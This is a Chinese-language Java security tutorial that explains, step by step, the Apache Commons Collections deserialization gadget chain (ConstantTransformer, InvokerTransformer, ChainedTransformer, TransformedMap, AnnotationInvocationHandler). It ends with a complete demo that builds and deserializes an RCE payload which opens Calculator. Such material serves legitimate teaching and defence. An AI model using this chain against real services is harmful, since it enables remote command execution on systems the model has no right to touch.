Apache Commons Collections反序列化漏洞

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用，Apache Commons当中有一个组件叫做Apache Commons Collections，主要封装了Java的Collection（集合）相关类对象。本节将逐步详解Collections反序列化攻击链(仅以TransformedMap调用链为示例)最终实现反序列化RCE。

Transformer

Transformer是一个接口类，提供了一个对象转换方法transform，源码如下：

public interface Transformer {

    /**
     * 将输入对象（保持不变）转换为某个输出对象。
     *
     * @param input  需要转换的对象，应保持不变
     * @return 一个已转换的对象
     * @throws ClassCastException (runtime) 如果输入是错误的类
     * @throws IllegalArgumentException (runtime) 如果输入无效
     * @throws FunctorException (runtime) 如果转换无法完成
     */
    public Object transform(Object input);

}

该接口的重要实现类有：ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。

ConstantTransformer

ConstantTransformer类是Transformer接口其中的一个实现类，ConstantTransformer类重写了transformer方法，源码如下：

package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {

    private static final long serialVersionUID = 6374440726369055124L;

    /** 每次都返回null */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }

        return new ConstantTransformer(constantToReturn);
    }

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }

    public Object getConstant() {
        return iConstant;
    }

}

ConstantTransformer，常量转换，转换的逻辑也非常的简单：传入对象不会经过任何改变直接返回。例如传入Runtime.class进行转换返回的依旧是Runtime.class。

示例 - ConstantTransformer：

package com.anbai.sec.serializes;

import org.apache.commons.collections.functors.ConstantTransformer;

public class ConstantTransformerTest {

   public static void main(String[] args) {
      Object              obj         = Runtime.class;
      ConstantTransformer transformer = new ConstantTransformer(obj);
      System.out.println(transformer.transform(obj));
   }

}

程序执行结果：class java.lang.Runtime。

InvokerTransformer

在Collections组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer，这个类实现了java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE，并提供了利用方法：CommonsCollections1.java。

InvokerTransformer类transform方法实现了类方法动态调用，即采用反射机制动态调用类方法（反射方法名、参数值均可控）并返回该方法执行结果。

示例 - InvokerTransformer 代码片段：

public class InvokerTransformer implements Transformer, Serializable {

    private static final long serialVersionUID = -8653385846894047688L;

    /** 要调用的方法名称 */
    private final String iMethodName;

    /** 反射参数类型数组 */
    private final Class[] iParamTypes;

    /** 反射参数值数组 */
    private final Object[] iArgs;

    // 省去多余的方法和变量

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }

        try {
              // 获取输入类的类对象
            Class cls = input.getClass();

              // 通过输入的方法名和方法参数，获取指定的反射方法对象
            Method method = cls.getMethod(iMethodName, iParamTypes);

              // 反射调用指定的方法并返回方法调用结果
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 省去异常处理部分代码
        }
    }
}

使用InvokerTransformer实现调用本地命令执行方法：

package com.anbai.sec.serializes;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerTest {

    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "open -a Calculator.app";

        // 构建transformer对象
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );

        // 传入Runtime实例，执行对象转换操作
        transformer.transform(Runtime.getRuntime());
    }

}

上述实例演示了通过InvokerTransformer的反射机制来调用java.lang.Runtime来实现命令执行，但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的，因此我们需要学习如何通过ChainedTransformer来创建攻击链。

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类封装了Transformer的链式调用，我们只需要传入一个Transformer数组，ChainedTransformer就会依次调用每一个Transformer的transform方法。

ChainedTransformer.java:

public class ChainedTransformer implements Transformer, Serializable {

  /** The transformers to call in turn */
  private final Transformer[] iTransformers;

  // 省去多余的方法和变量

  public ChainedTransformer(Transformer[] transformers) {
      super();
      iTransformers = transformers;
  }

  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }

      return object;
  }

}

使用ChainedTransformer实现调用本地命令执行方法：

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {

    public static void main(String[] args) throws Exception {
        // 定义需要执行的本地系统命令
        String cmd = "open -a Calculator.app";

        // ChainedTransformer调用链分解

//        // new ConstantTransformer(Runtime.class
//        Class<?> runtimeClass = Runtime.class;
//
//        // new InvokerTransformer("getMethod", new Class[]{
//        //         String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
//        // ),
//        Class  cls1       = runtimeClass.getClass();
//        Method getMethod  = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});
//        Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]});
//
//        // new InvokerTransformer("invoke", new Class[]{
//        //         Object.class, Object[].class}, new Object[]{null, new Object[0]}
//        // )
//        Class   cls2         = getRuntime.getClass();
//        Method  invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});
//        Runtime runtime      = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]});
//
//        // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
//        Class  cls3       = runtime.getClass();
//        Method execMethod = cls3.getMethod("exec", new Class[]{String.class});
//        execMethod.invoke(runtime, cmd);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 执行对象转换操作
        Object transform = transformedChain.transform(null);

        System.out.println(transform);
    }

}

通过构建ChainedTransformer调用链，最终间接的使用InvokerTransformer完成了反射调用Runtime.getRuntime().exec(cmd)的逻辑。

利用InvokerTransformer执行本地命令

上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令，现在我们也就还只剩下两个问题：

  1. 如何传入恶意的ChainedTransformer；
  2. 如何调用transform方法执行本地命令；

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象，紧接着我们应该思考如何才能够将调用链串起来并执行。

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口，同时支持对Map的key或者value进行Transformer转换，调用decorate和decorateTransform方法就可以创建一个TransformedMap:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      // 省去实现代码
}

只要调用TransformedMap的setValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法，从而也就会触发命令执行。

使用TransformedMap类的setValue触发transform示例：

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMapTest {

    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // transformedMap.put("v1", "v2");// 执行put也会触发transform

        // 遍历Map元素，并调用setValue方法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;

            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
            entry.setValue("test");
        }

        System.out.println(transformedMap);
    }

}

上述代码向我们展示了只要在Java的API中的任何一个类只要符合以下条件，我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE：

  1. 实现了java.io.Serializable接口；
  2. 并且可以传入我们构建的TransformedMap对象；
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类；

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口，它还重写了readObject方法，在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法，从而也就触发了transform方法，完成了整个攻击链的调用。

AnnotationInvocationHandler代码片段：

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    // 省去代码部分
  }

  // Java动态代理的invoke方法
  public Object invoke(Object var1, Method var2, Object[] var3) {
    // 省去代码部分
  }

  private void readObject(ObjectInputStream var1) {
      // 省去代码部分
  }

}

readObject方法:

image-20191220181251898

上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量，memberValues的值是在var1.defaultReadObject();时反序列化生成的，它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE，那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务，对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链，从而也就实现了远程命令执行了。

创建AnnotationInvocationHandler对象：

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类，在外部我们无法通过类名创建出AnnotationInvocationHandler类实例，所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象：

// 创建Map对象
Map map = new HashMap();

// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名，比如创建
// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target，那么map
// 的key必须是@Target注解中的方法名，即：value，否则在反序列化AnnotationInvocationHandler
// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于：
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象，我们只需要将这个instance序列化后就可以得到用于攻击的payload了。

完整的攻击示例Demo:

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//        // 遍历Map元素，并调用setValue方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
//            entry.setValue("test");
//        }
//
////        transformedMap.put("v1", "v2");// 执行put也会触发transform

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于：
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组：" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

反序列化RCE调用链如下：

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式，ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式：LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable。

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